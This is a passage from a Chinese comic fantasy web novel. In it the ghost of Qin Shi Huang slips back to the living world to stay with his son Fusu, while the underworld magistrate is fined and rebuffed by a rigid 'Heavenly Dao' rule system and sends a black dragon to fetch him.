他们头一次在地府见识到有钱任性。 说来也是辛酸,以前大家在人世的时候也都挺有钱的。到了地府狠狠栽了个跟头,一个两个都在后悔生前当国君的时候没好好干。 他们以为陪葬足够多的金银铜就能够衣食无忧,结果贵金属根本不值钱。 更叫人难过的是,同样是用商城,庶民买东西的价格就比他们便宜得多。问就是庶民赚取功德困难,各国之间都有通货膨胀,贵族和庶民之间自然也有功德膨胀。 国君们:……通货膨胀又是什么东西? 府君并没有解释的意思,反正现状就是这么个现状。能接受就继续过日子,不能就去投胎。 鬼魂又不会饿死,嫌贵可以选择不买。嘴馋了就自己去下河捞鱼、出门打猎,又不是没长手。 不过鬼魂吃的并不是真正的猎物,只是能量凝聚成的小动物而已。 毕竟在地府,那些小动物全是魂魄、攒够了功德可以投胎成人的,也有恶人投胎成的动物,不好互相食用。 秦君们品尝着许久不见的佳肴,十分感动。 “政儿真是个好孩子。” 虽然很没出息,但他们还是要说——有个能带全体先祖吃香喝辣的好儿孙真不错,希望这样的出息子孙多来点! 沉迷吃饭的秦君们瞬间忘了之前想讨论什么,讨论什么都不能影响干饭。吃饱喝足再说吧,又不着急。 但偏有人喜欢在这种时候不长眼地蹦出来打扰大家。 黄泉府君着急忙慌地探出头来: “诸位!你们始皇帝呢?他人怎么不见了?!” 与此同时,阳世。 扶苏和父亲商量好了对外隐瞒始皇帝能还阳的事情之后,又提起另一个要紧事。 这件事扶苏在心里盘算好半晌了。 他斟酌着开口: “父亲的功德虽多,也不好任由先祖们挥霍。倒不如给他们定好每月的养老钱,按时发放给诸位。功德来之不易,这样也能叫他们克制着不要浪费。” 都是当过君王的谁不了解谁,钱给太多肯定会大手大脚。就得逼着他们学会精打细算,哪怕当个月光族都比黑卡无限刷要好。 更重要的是,先祖们每月向父亲伸手要钱的话,就要对父亲低一头了。 扶苏担忧那群先祖会仗着长辈的身份欺负他爹,他爹高高在上惯了,哪怕去了地府也得是地位最高的。 扶苏于是坚定起来: “不如就按照父亲陪我一个月会消耗的功德数量,拿去分给先祖们吧?” 言下之意,如果陪他一个月会消耗一百万功德,那这一百万就是全体先祖一个月的养老费。始皇帝每月只拿一百万出来,谁多分一点谁少分一点,他们自己商量着解决。 扶苏还怂恿父亲把钱转给秦非子。 作为大秦辈分最高的老祖宗,由他来分钱比较合适。分钱这么烫手的活得丢出去,太容易得罪人了。 始皇:…… 朕隔着八百里都听见你在打什么小算盘了。 始皇颇感无奈: “朕每月花在你一人身上就有这么多,你却让所有先祖一起分同样的数量?” 被先祖知道了,只怕要骂你不孝。 扶苏不以为意: “父亲来阳世的耗费本就是超出正常限度的高,且我还是按最大值算的。这些功德哪怕是先祖平分,到每人手里也足够他们花用一个月了。” 生活水准大概就类似于月消费三万。 这还不够吗?不要太贪心! 总比回去吃糠咽菜要强,对吧? 扶苏还道: “父亲如今辛苦一些,待我去了地府,便可以为父亲分担了。届时不需父亲出钱,由我这个晚辈养家即可。” 然后先祖们花着他的钱,也得向他低头,这就是经济不够独立的下场。 始皇:………… 天降横财 始皇下意识抬头看了一眼虚空。 倘若先祖们在地府能看见这里的情况,应当是从这个视角看过来的。 不过他很快想到如今自己和儿子在作为寝室的屋内,侍者也都被遣退了。既如此,这应该算是非公共场合,先祖们听不到他家阿苏大放厥词。 放心了。 始皇提笔在纸上写下一句话,提醒儿子这些话私底下说说就好,避开着点先祖们。 扶苏乖巧应诺: “阿父放心,我记着呢。” 他又不傻,才不会给自己找麻烦。是父亲先说了直播围观的规则,他才开始畅所欲言的。 父亲又不会把他的话告诉先祖们。 他和父亲才是一家的! 扶苏把不能见人的纸张归拢归拢,等会儿让人取了火种来烧掉。 半年不见,父子俩其实还有很多话想说。但始皇见儿子唇色发白,便制止了他的话头,把人按到床上去,让他好好休息。 扶苏躺在床榻上也不安生,拽着父亲的手不肯松开,也不想睡觉。 始皇只好伸手替他合上眼睛。 扶苏闭着眼睛问: “阿父会离开吗?” 始皇在他手心写了个“不”字。 扶苏这才不再开口,很快睡了过去。 他不年轻了,夏日里风尘仆仆地赶到骊山陵,早已累了个够呛。古代马车再怎么降低颠簸也很有限,慢行时还好,速度一快就遭罪。 始皇等他睡着才收回手,起身准备出去看看。 他想试试缩地成寸的法子在阳间能不能用,若是可以,他打算去一趟咸阳。 前世他驾崩之后,扶苏当了二十年秦二世。那段时间里其实他一直以魂体跟在扶苏身边,但那会儿的他没能领悟这些神奇的赶路方法,都是老老实实飘来飘去的。 说实在的,飘的移动速度还是慢了些。 当初大秦的情况远不如现在乐观,扶苏算是在风雨飘摇中接过了皇位。他那会儿身子骨还不好,因为被六国余孽下毒伤了底子,堪称三天一病。 所以咸阳城中暗流涌动,扶苏支撑得十分艰难。 始皇仗着是魂体可以到处转悠,得知了不少隐藏在暗中的事情。可惜他无法和活着的扶苏交流,只能干着急。 幸而扶苏是他一手带大的继承人,能力毋庸置疑。即便没有父亲的帮助,也稳稳地撑住了大秦。 今生的大秦没那么多隐患,始皇反而可以联络儿子了,令他不由心情复杂。 但他还是准备去咸阳看看有没有人搞事情。 前世他没办法给儿子提供帮助,如今不能再叫孩子受委屈。倘若真有人不识好歹,他绝不轻饶。 扶苏一觉醒来时已是日暮西斜。 他慢吞吞地眨了眨眼,看着陌生的陈设一时间反应不过来自己在何处。 扶苏下意识唤了一声: “阿父。” 喊完想起来阿父已经去世。 年纪大了脑子转得慢些,尤其是刚睡醒的时候,人还不是特别清醒。 扶苏正要难过,手被轻轻握了一下。 他眼睛一下子就亮了,迟钝的脑子重新运转起来。想起午睡前发生过的事情,弯了弯眉。 始皇不确定儿子何时会苏醒,但他知道孩子睡醒找不到他必然要惊慌。所以他没在咸阳耽搁太久,匆匆看了一圈就回来了。 局势还不错,暂时没发现有谁趁着他没了就欺负他儿子。 始皇让扶苏起来活动一下。 扶苏现在岁数上去了,他也不再像以前那样天天督促儿子习武,扶苏每日仅剩的活动就只有散步这一项。 落日不再炽烈,几乎无法给魂体带来灼烧感。等到明月当空时,始皇便能不耗费任何功德地随意行走。 扶苏让侍者远远随行,自己压低声音与父亲交谈: “父亲偷偷来了阳世,府君那边该如何交代?” 始皇纠正了儿子的说辞。 他不是偷偷来的,他是光明正大来的。来之前府君问过他去哪里,他还照实回答了问题,一点都没掺假。 所以府君没有理由找他麻烦。 扶苏忍住笑意: “父亲说的是,府君自己理解错误,如何能怪父亲?况且是他们地府自己拦不住魂魄,父亲还未向地府索要赔偿呢。” 阳世如此危险,若非父亲功德深厚,现在只怕已经阴寿耗尽奄奄一息了。这都是地府的失误,也是府君照看不利的错漏,必须给他大秦一个说法。 什么,你说始皇帝是自己往阳世跑的,地府概不负责? 他父亲分明是像所有魂魄一样正常地出门准备去地府里逛逛,你有什么证据说他是蓄意前往阳世? 总不能就凭一个始皇出门的时候给自己裹上了厚厚的功德吧?这只能代表他父亲为人谨慎,担心出门会遇到危险,所以提前将魂体保护了起来。 再说了,分明是你府君自己说的,魂魄不可能离开地府。既然如此,他父亲做什么都不该对去向有影响才是。 说来说去,都是地府自身存在缺陷。 扶苏摩拳擦掌: “父亲,不知道府君会不会来,他要是来了,我帮您去和他理论!” 他一定要替父亲要到足够丰厚的赔偿,正好抵消一部分在阳世的消耗。 始皇完全没觉得这么做有什么不对的,拍拍儿子的肩膀示意自己信任他的能力。 此时,正在地府中盘问始皇下落的府君忽然打了个喷嚏,感觉不太妙。 秦君们装模作样地打着哈哈: “你问政儿?寡人如何知道他去了哪里?他说要出去转转就走了,留下我们在这里用膳。” “许是去看其他故人了吧,你去王翦、蒙恬那边问过没有?李斯和尉缭呢?” “你才是府君,整个地府的事情你都了若指掌。我们又无法得知其他魂魄在地府的动向,你问我们有什么用?” 中间夹杂着秦稷不怀好意的声音: “其实你要是肯把府君的权限分给寡人,寡人倒是能帮你一起寻一寻,也算是为你分担压力了。” 这是打算趁机骗好处。 府君:你是不是以为我傻? 见府君不上当,秦稷瞬间没了兴致,开始冷嘲热讽: “你这府君当得真不错,既不知道魂魄为何沉睡,也不清楚别人是怎么联络上阳世的。现在人不见了,你不去找也就算了,还在这里逼问无辜鬼魂。” 府君:…… 府君深吸一口气: “你们再这么胡搅蛮缠,我就要调监控了。” 其他秦君还不知道监控是什么,正待要问。 走在潮流前列的秦稷已经反唇相讥了: “哈,你们地府还在别人家里装监控?让寡人抓住你的把柄了吧!寡人这就去举报你们侵犯鬼魂隐私权!” 说着飞快打开了“随身终端”,赶在府君阻拦前就提交了投诉申请。 他秦稷整日不着家到处乱跑可不是白跑的,跟着许多其他位面的鬼学了不少招数。不仅学会了投诉,还详细了解了天道给府君这些公职人员定下的律法,就为了哪天抓府君的小辫子。 府君:我上辈子造了什么孽遇见你们? 天道很快受理了秦稷的投诉。 府君其他方面的问题倒不是很大,有些事情搞不清楚不是他的错,他也只是个中层的管理成员。 但是给骊山陵安监控这个就是违规的了,一举报一个准。 哪怕府君申辩他没有把监控镜头装在骊山陵内部,而是装在门外对准大门口的。天道也铁面无私地降下了责罚,并且全位面通报批评。 天道: 【华夏系列区域地府管理者黄泉府君触犯法规,违规监视他人领地,已罚款一百万功德。请诸位管理者引以为戒,在他人门口安装监控观察居民家中景象,同样属于违法行为。】 秦稷:哈哈哈哈哈哈哈! 笑完之后秦稷迅速去戳对话框: “是寡人举报的,罚款是不是应该奖励给寡人?” 他们大秦律法里就是这样的,谁举报,就把罚款分给举报者。举报有奖,所以恶人不敢轻易在大秦境内犯事。 那可是一百万功德呢,巨款! 然而天道的回复却是: 【举报者奖励一万功德,已到账。】 秦稷:? 秦稷不可置信: “还有九十九万呢?你私吞了吗?!” 天道一板一眼: 【扣除百分之五的手续费后,剩余九十四万功德已经作为补偿款打入受害者秦政与秦扶苏账户,每人四十七万功德。】 秦稷捂住了心口: “那分明是寡人的钱!” 还有,打给政儿也就罢了,凭什么扶苏那臭小子也有啊?上回那小子公然嘲笑他不会哄将军,导致白起和他离心,他还没来得及和扶苏算账呢! 天道这次没有继续搭理某人。 骊山陵的主人是谁,谁就可以得到补偿。 虽然扶苏暂时还没死,但始皇父子早就决定要合葬地宫了,所以扶苏当然也算主人之一。 扶苏刚用完膳,正和父亲聊天,忽然见父亲写字的手顿了顿。 扶苏敏锐地察觉到不对劲: “怎么了,阿父?” 始皇写完了那句话,接着补了一句讲述自己突然收到大笔赔偿的事情。 考虑到始皇帝不清楚前因后果,打款备注里还简单说明了缘由。始皇看完便知府君是去找先祖们询问他的去向了,只是不知为何反倒是府君被举报扣了钱。 子楚及时发来了详细的过程转述。 始皇提炼重点告知儿子。 扶苏听罢立刻反问: “华夏系列区域?” 也就是说,还有其他系列的区域了。 章服之美是为华,礼仪之大是为夏。这些是九州大地上的人们自上古起就在追求的东西,是民族文化的体现。 扶苏第一个想到的是外邦。 外邦人在被华夏文明同化之前,或许有自己的文化信仰。那么,他们应该就不算是华夏区域的人,不归黄泉府君管辖了。 天道说的是“区域”而非位面,可见即便是来自同一个位面的鬼魂,也会根据文化传承进行不同的归属划分。 倒是不同位面,只要都是华夏文明,那应该就都归府君管了。 这些事现在知道了也不过是留个印象,扶苏很快丢开。他把关注点挪到了另一件事情上头——原来他们是可以举报府君的。 扶苏沉吟片刻: “阿父要不要试着去找天道索要赔偿?” 说完他又迅速否决了: “还是不了,若天道修补了这个漏洞,阿父接下来恐怕无法继续在阳世陪伴我。” 就算要补偿,也可以等他也去了地府再要。届时父亲不需再回阳世,自然无所谓漏洞是否被修补掉。 更何况,待他下葬后,地宫就会被彻底封闭。两个世界的地宫不再处于阴阳交汇的状态,怕是想再出来也出不来了。 始皇颔首,写了个“可”字。 看天道这公事公办的态度,估计不会因为时间过去许久就赖掉他们的赔偿。那么早点反馈和晚点反馈其实没什么区别,可以先留着吓唬一下府君。 地府里头。 府君也在捂着心口。 一百万功德啊!他十个月的工资啊! 地府的一年,就是阳世的十二年。因为是不满一地府年的工资,所以平均每阳世年也就十万左右。 别看很多,但府君他要管那么多位面的华夏区域呢。所以每个位面的提成是真的很低,为了一个位面被扣十个月工资,简直亏大发了。 都被扣了这么多钱了,要是还看不到监控内容那他岂不是血本无归? 所以府君还是坚强地调取了监控。 没有因为他看监控还加罚一笔款项的道理,只要他不往外面传播就行。要是往外传播的话,哪怕只是给秦君们看一眼,都算非法传播他人隐私。 然后府君看见画面里始皇迎面朝着甬道外走来,伸出手试探了一番,慢慢消失在了门口的结界处。 府君:他真的出去了!啊啊啊!!! 其实在之前找不到人的时候,府君心里就有怀疑了。但他不愿意相信,还试图自欺欺人。 现在事实摆在眼前,府君只觉得眼前发黑。 没看好鬼魂让他们跑去了阳世,这是重大失职。年终的时候天道会综合职工整年的表现进行奖惩结算,所以别看现在他没因此受罚,等年终就不好说了。 到时候罚多罚少,全看始皇帝在阳世停留了多少天、又造成了多少影响。 停留天数的罚款数额是固定的,多一天就多一份钱,能直接算出来。造成的影响则不一样,纯看有多少活人发现了他这个鬼魂的存在,以及知道了地府的事情。 如果始皇帝守口如瓶不跟活人说,也不让活人发现他。那就还好,罚得会轻些。 府君怀揣着一丝丝奢望打开了阳世的直播,选中始皇帝最放心不下的秦二世扶苏。 果不其然,人就在他儿子身边待着呢! 但—— 扶苏对父亲说道: “阿父,你真的可以离开骊山陵吗?我担忧我们回了咸阳之后,你会魂体受损,留在这里至少可以随时回地府休养。” 府君的手在颤抖。 扶苏知道了!!! 扶苏他知道地府的存在了!!! 与此同时,因为刚刚才被举报过侵犯隐私,府君身上其实挂了个天道凝视的状态。在接下来的一段时间里,如果他继续做出类似的行为会触发警报甚至是惩罚。 府君很快听见耳边响起只有他一个人能听到的天道播报声。 天道:【违规观看活人隐私,警告一次,下次再犯将直接进行惩罚。】 介于扶苏目前只是屏退了侍者,在明堂里和父亲聊天。而明堂大门敞开着,站在门口其实能够看见内部的情况。 所以府君这次算是轻度侵犯隐私,才只是进行警告。 府君的表情扭曲了一下。 他深吸一口气,告诉自己不能和傻子天道计较。天道没有脑子的,它就是一段死程序。 反正还没罚,没罚就等于不存在。 府君决定出去把始皇帝抓回来,不能放任这位陛下继续在外头胡来了。 结果府君刚打开通往阳世的空间裂缝准备出去,一道雷就劈了下来。正好劈在他身前,阻止他前行。 天道:【警告!警告!地府公职人员不可擅离职守前往阳世!】 府君:……你祖宗的! 到底是谁设计出来的法则程序?能不能讲点道理?凭什么始皇能出去他不行?! 秦君们齐齐嘶了一口,往旁边挪了挪。 这看着很吓鬼啊,一道雷劈下来不会魂飞魄散吧?政儿出去这么久居然一直都没被劈过,真是庆幸。 难怪之前府君反复强调随便和阳世联络会被天道惩罚呢,感情天道会惩罚他。 秦稷摸了摸下巴: “但是府君被惩罚,和我们政儿有什么关系?” 事实证明政儿就是不会受罚啊! 果然,这个府君还是应该让他来当,现任府君屁用没有。 搬救兵 府君好说歹说,也没能说服天道。 天道有自己的逻辑,运行了这么多年都没出问题,它并不觉得自身存在缺陷。所以府君提出的抗议,天道在进行自检之后认为都是他在强词夺理。 说服不了天道,又不能当真放任始皇帝在外头待着。府君只好另辟蹊径,想别的法子解决。 既然他自己不能出去,那就找其他能去阳世的存在,拜托他们帮忙把人弄回来。 地府这边的管理人员都指望不上,全是在阴间待久了的,身上携带大量阴气会污染阳世。 好在府君还认识别的存在。 因为在华夏文化里,龙被赋予了皇权的象征。所以龙这一类的神兽就和地府里的皇帝们来往比较多,连带着府君也认识不少神龙。 他迅速找到了一条和秦人相熟的龙。 这是一条黑龙。 由于黑龙在大秦一统天下后被确立为了图腾的缘故,黑龙时常能获得来自秦人的信仰反哺。 别的始皇帝早就熟悉它了,但当前位面的始皇应该还没见过活生生的黑龙。对方在面对黄泉府君的时候不给面子,面对自家图腾神兽总得客气一点吧? 府君便和黑龙说好了: “龙君去帮我把始皇带回地府,我下回有好东西先分你一份,不给玄鸟。” 玄鸟和黑龙不知为何关系不太好,府君日理万机也没去探究过。他只要知道每次自己这么说,黑龙都会愿意帮他个小忙就可以了。 黑龙果然心动: “成交!” 这个交易不亏,它可以借机去大秦浪一圈不说,还能从府君这里拿到好处。 府君这边因为联通阳世的关系,经常弄到新鲜玩意。反观他们神兽定居的地方,无论是科技还是别的什么都发展缓慢,千万年如一日,无聊得紧。 黑龙一甩尾巴破开虚空,消失不见了。 它早就想去看看这个在气运推演里可以延续至少数千年的大秦了。 别的大秦很多都二世而亡,要是每个大秦都能像它似的一直存在,自己能吸收多少信仰之力简直不敢想。 府君放下心来。 黑龙一向是很沉稳可靠的,且它常年和其他位面的始皇帝来往,肯定学到了不少本事。找它来劝始皇回地府,或许有奇效,始皇总该知道怎么对付其他位面的自己。 不过找到了帮手并不意味着高枕无忧。 就算人弄回来了,府君还得防备着对方再次找机会出去。偏偏地宫是否封土是秦二世扶苏做决定,他又左右不了活人。 所以他得想个法子让始皇以后都出不去。 府君受到之前的举报启发,有了思路。 他再次打开和天道的汇报通道: “我要反馈地府存在的漏洞。” 天道是法则智能,不会产生不耐烦的情绪。哪怕之前府君才骚扰过它,它依然尽职尽责地询问细节。 府君说: “本位面的始皇帝能够与阳世通信,还可前往阳世。这说明地府法则存在未知漏洞,需要尽快修补。” 府君认为这件事很好解决,只要天道打个补丁,增加一个鬼魂无论如何都无法离开地府的设定就可以。 这并不困难,是一个非常小的补丁,眨眼间就能完成。 然而天道在进行严格地检测之后却道: 【经检测,地府并不存在你所反馈的漏洞。始皇帝离开地府的方式完全符合阴阳两界通行规范,无法进行禁止。】 言下之意,始皇用的方法和天道一开始就给阴阳两界留的正规程序是一致的。人家没有违规,按照规定程序操作自然就可以做到上述事情,这不算是地府漏洞。 府君当然知道始皇帝的操作是合规的,只不过正常鬼魂动用不了气运之力所以无法成功而已。 关键难道不该在于,始皇一个普通鬼魂不该拥有气运的辅助效果吗? 天道验证过法则后进行反馈: 【始皇气运为其自身携带,并非漏洞导致,无法修改。】 人家天生运气好,总不能把人削成非酋。就像人家天生个子高,你不能因为嫉妒他高就非要砍了他的腿。 府君:…… 府君感觉和天道说话讲不通: “你别管他为什么能出去了,你就给打个禁止鬼魂出去的补丁不行吗?” 就这么简单的事情,跟他掰扯半天。 天道依然否决了他的提议: 【部分华夏位面为玄学类位面,阴阳两界可以自由通行。强制禁止鬼魂进出地府,会导致世界本源受到影响。】 府君:“你可以只给这个位面打补丁!” 天道:【单独针对某一位面属于违规操作,警告一次!】 府君:??? 人工智障就是属于那种,不遇到事情的时候,你觉得它很好用。一旦遇到了事情,你才发现它为什么这么智障。 通融是不可能通融的,变通也是不存在的。一切按照法则制度来进行,偏偏它也不是故意在和你作对。 可府君被扣的钱是实打实的。 这日子没法过了。 府君最后挣扎了一下: “既然是他自己按照合法操作出去的,那凭什么要扣我绩效?这不合理吧?” 天道终于沉默了。 府君眼里浮现希冀的光芒,以为胜券在握。 结果半晌后天道反馈了处理结果: 【感谢您的反馈!天道已修补该漏洞,自即日起因合法操作误入阳世的魂魄,若受阳世环境影响产生魂魄损伤,将由天道进行赔付。】 同一时间,始皇帝又收到了补偿款。 这次补偿他的理由是他一介阴魂误入阳世,因此受到了惊吓和伤害。这是管理方的失职,所以会从天道的资金库里下发赔偿。 这个资金库就类似于朝廷的国库、公司的公账。天道在进行很多运作时会收取手续费,手续费都存入了账中。用以维持天道和各部门的正常运转,以及诸如发放补偿金之类的情况。 始皇收到了两笔款项,一笔和他之前因抵抗日光灼烧的消耗完全等同,另一笔是他不慎进入阳世的精神损失费。 天道还表示,日后他在阳世活动产生的灼烧消耗都会被自动抵扣,不再扣功德。 始皇:朕什么都没做,已经收到了三笔钱。 不知道府君又折腾什么了。 府君此刻也很迷茫。 他看着因为他成功反馈了bug而得到的奖金一百万功德,陷入了长久的沉默。 虽然一进一出,他相当于没有损失。 但他为什么就是那么不得劲呢? 他明明是想坑始皇帝一把的,怎么最后又帮对方搞到钱了? 而且事情还是没解决啊! 府君无法理解: “我反馈的明明是他自己跑出去,我却要因此扣业绩!” 天道表示你别着急,事情它要一条条处理。先处理了最要紧的bug问题,毕竟这个bug一个搞不好容易出鬼命。 这次出去的要不是始皇帝,而是别的什么功德不够的鬼魂,现在估计已经被坑死了。 也是因此,府君拿到的奖金也很丰厚。 正常情况下他们这里是罚款比奖金高得多的,就为了警告公职人员不要仗着自己的身份随意欺压凡人。 要不是这个漏洞太严重,不可能给府君奖励这么多钱,十万就顶天了。 ——不过府君拿的奖金虽多,到底比不过受害者。 法则对凡人魂魄的奖罚机制是奖比罚高,其中受害者的补偿金还会更高。所以始皇一下子到账了一千万功德的精神损失费,够他在人间潇洒十年了。 漏洞相关的事宜都搞定之后,天道才跟府君提起他最关心的扣业绩这个问题。 天道严谨地表示: 【经排查,公职人员黄泉府君不存在故意帮助鬼魂前往阳世的行为,故鬼魂在阳世造成的不利影响将不会记入府君的工作失职中,不再扣除业绩。】 府君终于眉目舒展了一些。 【但由于府君监管不力、任由受害人在自己眼前进入阳世,且事后并未第一时间向其上级天道反馈,导致受害人停留阳世超过安全时限,将按照受害人的最终停留时长承担对应责任。】 府君:………… 简单点说,就是虽然事情不是你造成的,人家干出什么你不用承担后果。但你没有及时阻拦人家出去不说,后续还拖拖拉拉的不处理,所以你还是得担一部分责任。 唯一的好消息是,停留时长这个扣的业绩相比起来要少许多。能减轻一部分责罚是一部分,至少这个惩罚可控。 府君只能安慰自己,他已经找了人帮他把始皇弄回地府了。 等始皇回来,他就再不关注这边的动静。 府君算是发现了,天道罚他的理由里有个关键词“眼前”。 这说明天道认为,始皇帝进入阳世的行为府君是当场目睹了的,所以才存在他没有及时制止和上报的处罚理由——哪怕他那会儿只是在始皇往外走的时候探头问了一句,根本没有真正看到对方走出去的那一幕。 这个问题很好规避。 下次始皇再往外跑时,只要他全程都不在场、也没有发现任何端倪,那他就是无辜的。事后发现了再及时上报给天道,天道就不会抓他小辫子。 府君:职场打工人要学会钻规章的漏洞! 现代职场学,多做多错,少做少错,不做不错。府君悟了,他觉得他应该跟现代社会的职场老油条多学习一下。 以前的他还是太古板了,当了这么多年打工人居然连这么简单的道理都没弄明白。没关系,从现在开始他便是进阶版的府君,回去就研究职场厚黑学! 阳世。 扶苏听说了父亲又收到一笔补偿款之后,有些惋惜。 “早知如此,昨日便该让父亲直接去向天道投诉的。” 哪怕不去问地府那边的老祖宗,他也能猜到,向天道提出这个漏洞的人肯定得到奖赏了。 也不知道如今从地府来到阳世的法子被封了没有,但不管封没封,他们少了一笔奖金是切切实实的。 始皇倒不贪心,他催促儿子赶紧收拾行李回咸阳。 昨晚父亲子楚给他发了消息,说府君原想亲自来捉他的。但因为身带阴气,被天道制止了,不许来阳世。 始皇便认定骊山陵附近阴气重,必然对儿子身体有损。甚至还认为自己最好也别离儿子太近,毕竟他也是阴魂。 扶苏坚决不肯退让。 父亲远离他,他就把自己关在屋子里生闷气,饭也不吃。始皇拿他没有办法,只好多给自己裹两层功德,尝试着隔绝阴气。 后来放心不下,还是找天道询问了一下这个问题。得到天道的回复,知道阴气不会影响活人身体,这才放心。 阴气影响的是阳世的本源,阴气多了会改变世界性质,比如从不闹鬼变成人鬼杂居那种。 始皇一只鬼散发出的阴气可以被世界自行消解,倒是没什么影响。 可始皇还是觉得扶苏回咸阳比较安全,骊山陵人多眼杂,也不利于修养身体。 扶苏最后作戏下了一趟地宫,这才下令返程。大家虽然疑惑陛下怎么只停留了这么两天就走,但想着可能是陛下睹物思人心中难过,到底没有多问。 回到咸阳的时候,天气有些黑沉。 今日没有阳光,光线也相对昏暗些。已经是傍晚了,抬头看不见夕阳。 高高的宫殿顶上铺着玄色琉璃瓦,不为了室内采光,纯粹做装饰用。 大秦尚黑,觉得没有光泽的普通黑瓦铺在宫殿顶部,不如这个好看。反正琉璃造价便宜,不心疼。 只是今日不知为何,扶苏总觉得自己好像看见那琉璃瓦翻动了一下。但眯着眼细看时,又看不清楚了。 傍晚的天黑得太快了。 始皇漫不经心地顺着看过去一眼,忽然眸光一凝。 魂体拥有最佳视力,远超年老后视力退化的儿子。所以始皇一眼就看清了屋顶上的根本不是半透明琉璃瓦,而是趴着一条玄色长龙,那鳞片远远看去泛着和琉璃一样的光泽。 始皇在儿子手心写了几个字,就飘上了屋檐。 阿父! 扶苏差点喊出声来。 有条不知敌我的龙出现,父亲居然就这么过去了,简直是拿自己的安危开玩笑。万一巨龙暴起伤人,父亲如何能够抵挡得住。 扶苏心焦不已,却看不清殿宇顶部发生了什么。他只能驻足停留在原地,被迫等待一个结果。 片刻后,扶苏感觉手被握了一下。 他松了口气,抿唇有些生气。什么都没说,沉默地进入了殿中。 等到遣退侍者,才气恼地质问道: “父亲怎么能以身涉险?!” 始皇摸摸他脑袋,正想哄儿子两句。 一条缩小后的龙从他袖子里探出: “吾不会伤人,吾是大秦图腾!” 黑龙有点不悦,他才不是那种六亲不认的恶龙。他和大秦休戚与共,没事伤害始皇帝干什么? 扶苏不由微愣。 他还真没料到这种神兽会把人世王朝的图腾之说放在眼里,他还以为这都是凡人的一厢情愿呢。 始皇也补充了一句: “方才龙君与朕传音入密,朕才知它没有恶意,于是过去一叙。” 当时在场的侍者多,黑龙就没有贸然开口暴露自己的存在。若非扶苏是大秦皇帝,换了旁人其实是看不见它的。 始皇成为鬼魂之后感知敏锐,也确实没从对方身上察觉到危险,这才直接靠近。 扶苏却是惊了一瞬: “父亲,你学会说话了?!” 始皇:……这话听着就怪怪的。 但他还是颔首: “龙君传授了朕出声的法门。” 黑龙从他袖子里飞出来,落在桌案上。它微微扬起下巴,看起来神气极了。 嘴上还要故作沉稳,仿佛并不得意: “不是什么大事,不必谢吾。” 父子俩:…… 父子俩默契地保持沉默,意识到这位龙君虽贵为神兽,心智可能并不成熟。 如此看来,确实没什么危险。 黑龙直接就把来意给说了: “吾这次过来,是来看看你们这大秦有什么特别之处的,顺便应府君的请求带始皇帝回地府。你们赶紧道个别吧,我这就要开传送通道了。” 它故作深沉地“吾”了半天,话一长又一不小心忘了,说回了“我”。 在场两人都没提醒,免得它下不来台。 始皇是不会跟它回去的,它若强行动手,正好可以尝试一下用功德之力打架是个什么体验。 不过他没有轻举妄动,而是先看了一眼儿子。 果不其然,扶苏生气了。在心里狠狠记了黄泉府君一笔之后,他露出了招牌式的微笑。 想把阿父从他身边夺走,做梦! 扶苏迅速想到了对策,他亲切地问道: “龙君是想看看大秦何处呢?独自游览只怕看不出什么。不如让父亲留下作陪,等您看尽兴了,再让他随您一起回去?” 他见这个大秦图腾似乎对大秦十分感兴趣的样子,感兴趣就好,这样总能找到借口将对方留下。 府君还敢搬救兵,那就让救兵一起留下吧。 黑龙想了想,觉得扶苏说的有道理: “可以,那就这样吧。” 我们才是一国的 虽然扶苏嘴上说的是让父亲给黑龙当陪玩,但许诺是一回事,实际操作就是另一回事了。 他宁愿自己给黑龙当陪玩,也不会劳烦父亲受累。 黑龙活了很多年,可惜它似乎没长个子也没长心眼。这么多年一直接触的都是“淳朴热情”的各界秦君,从来没有遭受过来自社会的欺骗。 扶苏轻而易举就忽悠住了它。 扶苏是这么说的: “父亲生前忙于国事,不喜玩乐,不像我为人懒散还爱寻趣事消遣。让父亲领您四处游玩,只怕不够尽兴,龙君不如让我来做导游吧?” 黑龙想了想其他位面的始皇帝都是什么性格,深以为然。 它欣然答应下来: “好,就你陪我玩吧!” 全然忘了如果始皇不必当导游的话,它为什么不干脆把人送回地府呢。 扶苏叫来了儿子桥松: “朕最近心情不畅,需休养,国事依然托付给你。” 桥松:? 桥松心道你好歹扯个能说得过去的借口,比如身体不舒服这种。你来个心情不畅就想偷懒,过分了吧。 但是想到自家爹才从骊山陵回来,约莫是触景生情了。再看看亲爹消瘦衰老的模样,到底还是没说什么。 算了,他确实比父亲年轻强健许多,就多承担一些吧。 祖父临终前特意叮嘱过,要他好好照顾父亲。父亲都这么大年纪了,他总不好和对方计较偷懒的这点小事。 桥松于是保证一定把大秦治理好: “父亲专心休养便是。” 待人离开,黑龙老气横秋地夸了一句: “真是个不错的孩子。” 扶苏听着它那一口小奶音,忍住了没有嘴贱。 据父亲说,黑龙之前维持庞大体型的时候,声音不是这样的。那时是类似成年男子的清亮嗓音,绝对没有这么稚嫩。 看来身躯缩小之后,其实是从成年态变回了幼生态。 黑龙感慨完一句,立刻追问扶苏带它去哪里玩。他看玄宸宫这么大,哪里都很好玩的样子。 扶苏当然是随便它提。 当初建造玄宸宫的时候,面积就圈得极大。后来联通了咸阳宫、上林苑等原有的大秦宫殿,就形成了一个庞大的宫殿群。 整个秦王宫一时半会儿根本逛不完,里头甚至还有仿照六国王宫建造的六国宫。 不过六国宫中原本绘制六国图腾的位置,都被替换成了大秦图腾。一统天下之前是玄鸟,一统后改成了黑龙,所以能看见两种神兽的图案。 旧的秦宫中装饰图案多是玄鸟,黑龙去逛了一圈就不太高兴地出来了。它说它还是喜欢玄宸宫,因为这里黑龙元素更多。 重点是——比玄鸟多! 作为顶替玄鸟成为新图腾的神兽,黑龙和玄鸟的关系自然好不起来。虽然大秦更改图腾之后并没有彻底把玄鸟拉下神坛,毕竟秦人自认是玄鸟的后人。 秦人的祖先是颛顼帝的女性后裔,传闻对方吞玄鸟之卵后生下了秦王室的始祖。所以不管如何,大秦也不会彻底摒弃对玄鸟的信仰。 黑龙看见玄鸟的图案就生气,飞过去踩了一脚。然后才心满意足地飞回来,继续落在扶苏肩上,让扶苏带它去下一处地方。 扶苏:…… 始皇:…… 看出来了,双方确实关系很差。 扶苏忙于应付黑龙的时候,始皇则在思索为何两边有矛盾。该不会正是因为大秦的图腾更迭,让两者产生利益冲突了吧? 之前黑龙说漏过嘴,人世王朝的图腾信仰似乎对神兽有重要作用。 始皇若有所思。 如果是这样的话,那黑龙应当和大秦是利益共同体。想要说服它放弃府君彻底站在他们这一边,会十分容易。 扶苏带着黑龙逛了一会儿之后就累了,始皇便让儿子去休息。 